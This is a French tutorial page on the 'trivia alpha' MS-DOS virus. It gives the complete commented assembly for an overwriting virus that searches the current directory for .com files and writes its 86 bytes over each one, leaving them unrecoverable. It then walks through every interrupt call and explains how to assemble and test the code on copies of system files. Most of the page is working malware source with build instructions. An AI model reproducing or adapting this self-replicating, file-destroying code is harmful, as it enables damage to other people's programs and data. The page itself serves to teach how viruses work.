# Virus informatique/trivia α

Le virus trivia en version alpha est le plus simple des virus car il n'infecte que les fichiers exécutables .com du répertoire courant.

## Organigramme avec assembleur Intel en regard

| Assembleur | Commentaires |
| FichierCOM DB '*.com',0 | chaîne à rechercher (finie par zéro) |
| MOV AH,4Eh MOV DX,OFFSET FichierCOM INT 21H | Première recherche de fichier Dans DX l'adresse de la chaîne ASCIIZ MS-DOS lance la recherche |
| JC exit | Retour au système si on ne trouve aucun fichier .com |
| infection: MOV AH, 3dH MOV AL, 1 MOV DX, NomFich INT 21H XCHG AX, BX MOV AH, 40H MOV CL, 86 MOV DX, 100H INT 21H MOV AH, 3eH INT 21H | Ouvrir un fichier En écrasement Dans DX l'adresse du nom du fichier MS-DOS nous ouvre le fichier (le descripteur du fichier est dans AX) Interversion entre AX et BX En écriture Nombre d’octets : 86 (taille totale du virus) Emplacement où commencer l’écriture MS-DOS écrit dans le fichier victime Fermeture de fichier MS-DOS ferme le fichier infecté |
| MOV AH, 4fH INT 21H | Deuxième recherche de fichier MS-DOS lance la recherche |
| JNC infection | Retour à la procédure d’infection si un fichier .com a été trouvé |
| exit: MOV AH, 4ch MOV AL, 00 INT 21h | Retour au système Code de retour : 00 (sortie normale) MS-DOS termine le programme |

## Code source commenté, pas à pas

La recherche de fichier est un service fournit pas MS-DOS : le service numéro 4Eh (h indique qu'il s'agit d'hexadécimal) de l'interruption 21h permet de rechercher n'importe quel fichier en spécifiant la bonne chaîne ASCIIZ (chaîne de caractère finie par un zéro)
Il faut d'abord déclarer la chaîne. En assembleur :
FichierCOM est le nom que l'on donne à notre variable. DB (Dump Byte) c'est pour affecter la chaîne au nom. '*.com',0 est la chaîne ASCIIZ.
Il ne reste plus qu'à utiliser le service 4Eh:
On met le numero de service dans le registre AH, ici 4Eh.
DX reçoit l'adresse de la chaîne ASCIIZ
On exécute la recherche avec l'interruption 21h. Si il n'y a pas de fichier, MS-DOS nous avertit en mettant à 1 un bit (le flag de retenue) d'un registre appelé registre d'état.
On peut le tester avec cette instruction :
Jump if Carry, c.a.d saut à "exit" si le flag de retenue est à 1.
Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9E. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus, c'est le rôle du service 3Dh:
Service 3Dh : ouvrir un fichier
En écriture, on écrase tout. Le fichier infecté sera irrécupérable, pas de désinfection possible.
Dans DX l'adresse du nom du fichier.
MS-DOS l'ouvre.
On a juste ouvert le fichier pour pouvoir récupérer son descripteur (handle en anglais). C'est un numéro attribué au fichier qui sert à MS-DOS pour le reconnaître.
Après l'interruption 21h, le descripteur est dans le registre 16 bits AX. Maintenant qu'on a son descripteur on va écraser son code en écrivant notre virus par dessus. Mais faut-il encore connaître la taille exacte du virus. Facile : il suffit d'assembler et de voir la taille du com. Il faut surtout le placer au bon endroit. Car le code d'un fichier COM commence 256 (100h) octets après le début du fichier, il faut donc écrire qu'a partir de 100h.
C'est le rôle du service 40h:
On va écrire dans le fichier
Taille du virus : 86 octets (à savoir)
Le bon offset.
MS-DOS écrit le virus. (Vérifiable en contrôlant la DEL du disque dur)
Le virus est libéré sauf si le disque est plein (moins de 86 octets libre) ou s'il est protégé en écriture.
Le virus s'est dupliqué il peut effectuer une action comme afficher un message.
Il doit maintenant infecter d'autres fichiers .com. Faut-il réutiliser le service 4E ? Non, car ce service recherche le premier fichier du répertoire courant, l'infection se fera toujours sur le même fichier, il nous faut donc rechercher d'autres fichiers com.
C'est le rôle du service 4Fh. Remarque: 4F est égal à 4E + 1 (en hexadécimal).
Deuxième recherche :
Si il n'y a pas de fichier, DOS nous avertit en mettant … 1 un bit (le flag de retenue) d'un registre appel‚ registre d'état. On le teste avec :
Jump if Not Carry, c.a.d saut à "Infection" si le flag de retenue est à 0. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9Eh. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus.

## Assemblage et environnement de test

Utilisez votre assembleur préféré, comme par exemple A86 d’Eric Isaacson :
Créez ensuite un dossier dédié à vos essais où vous placerez le fichier trivia.com ainsi que des copies de fichiers .com se trouvant dans C:\windows\system32

## Exécution pas à pas au débuggeur

« Debug.exe » est fournit avec toutes les versions de Windows et est accessible depuis n’importe quel dossier.
Tapez ? pour une aide, U pour désassembler, D pour afficher la plage mémoire, P pour l’exécution pas-à-pas, Q pour sortir du débuggeur.